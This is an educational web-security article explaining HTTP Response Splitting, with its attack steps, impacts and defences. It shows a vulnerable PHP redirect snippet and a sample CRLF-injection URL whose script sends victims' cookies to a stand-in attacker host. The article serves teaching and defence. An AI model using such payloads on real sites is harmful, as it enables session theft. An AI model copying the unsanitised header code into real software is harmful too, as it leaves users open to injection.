HTTP Response Splitting

HTTP Response Splitting Illustration

What is HTTP Response Splitting?

HTTP Response Splitting is a web application vulnerability that occurs when an attacker can inject carriage return (CR) and line feed (LF) characters into response headers. These special characters (represented as \r\n in code) are used to separate HTTP headers and mark the beginning of the response body.

By injecting these characters, an attacker can effectively "split" a single HTTP response into multiple responses, allowing them to control part of the response content and potentially execute various attacks.

Key Point: HTTP Response Splitting is a precursor to other attacks like Cross-Site Scripting (XSS), Cross-User Defacement, Cache Poisoning, and Browser Cache Poisoning.

How HTTP Response Splitting Works

The attack typically follows these steps:

1. Identifying Vulnerable Input Points

The attacker identifies input points that are reflected in HTTP response headers without proper sanitization. Common vulnerable headers include:

  • Location (used in redirects)
  • Set-Cookie
  • Refresh
  • Custom headers that include user input

2. Crafting the Malicious Input

The attacker injects CR and LF characters (\r\n) along with additional HTTP headers and potentially a second response body. For example:

malicious_input = "normal_value
Content-Type: text/html

<html><body><script>alert('XSS');</script></body></html>
"

3. Server Processing

When the server includes this input in a response header without proper sanitization, the HTTP response might look like:

HTTP/1.1 302 Found
Location: normal_value
Content-Type: text/html

<html><body><script>alert('XSS');</script></body></html>
...rest of the original response...

4. Client or Proxy Interpretation

The browser or intermediate proxy interprets this as two separate HTTP responses, with the attacker-controlled content being processed as a legitimate response.

Attack Vectors and Impact

HTTP Response Splitting can lead to several serious attacks:

Cross-Site Scripting (XSS)

By injecting HTML and JavaScript into the split response, attackers can execute arbitrary scripts in the victim's browser, potentially stealing cookies, session tokens, or other sensitive information.

Web Cache Poisoning

If the responses pass through a caching proxy server, the attacker can poison the cache with malicious content. When other users request the same resource, they receive the poisoned content from the cache instead of the legitimate content from the server.

Cross-User Defacement

Attackers can modify the appearance of the website for other users, potentially damaging the site's reputation or misleading users into providing sensitive information.

Session Fixation

By manipulating Set-Cookie headers, attackers can force victims to use a known session identifier, potentially allowing the attacker to hijack the session.

Warning: Modern web servers and frameworks have implemented various protections against HTTP Response Splitting, but the vulnerability can still exist in legacy systems or custom implementations that don't properly sanitize input.

Real-World Example

Consider a web application that redirects users based on a URL parameter:

// Vulnerable PHP code
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

An attacker could craft a malicious URL like:

https://example.com/redirect.php?url=https://legitimate-site.com%0D%0AContent-Type:%20text/html%0D%0A%0D%0A<html><body><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script></body></html>

When a victim visits this URL, the server might generate a response like:

HTTP/1.1 302 Found
Location: https://legitimate-site.com
Content-Type: text/html

<html><body><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script></body></html>
...original response headers and body...

The browser interprets this as two separate responses, with the second one containing the malicious script that steals the user's cookies.

Defense Strategies

To protect your applications from HTTP Response Splitting attacks:

Input Validation and Sanitization

Validate and sanitize all user inputs, especially those that might be included in HTTP headers. Remove or encode CR (\r) and LF (\n) characters.

Use Framework Protections

Modern web frameworks often include built-in protections against HTTP Response Splitting. Use these frameworks and keep them updated.

Implement HTTP Response Headers Correctly

When setting HTTP headers programmatically, use the appropriate methods provided by your framework rather than concatenating strings directly.

Use Content Security Policy (CSP)

Implement a strong Content Security Policy to mitigate the impact of successful XSS attacks that might result from HTTP Response Splitting.

Regular Security Testing

Conduct regular security assessments, including penetration testing and code reviews, to identify and fix vulnerabilities related to HTTP Response Splitting.

Use HTTP/2 or HTTP/3

Newer HTTP versions like HTTP/2 and HTTP/3 use binary framing layers that make traditional HTTP Response Splitting attacks more difficult to execute.

Best Practice: Never trust user input that will be included in HTTP headers. Always validate, sanitize, and encode such input to prevent HTTP Response Splitting and other injection attacks.

Related Topics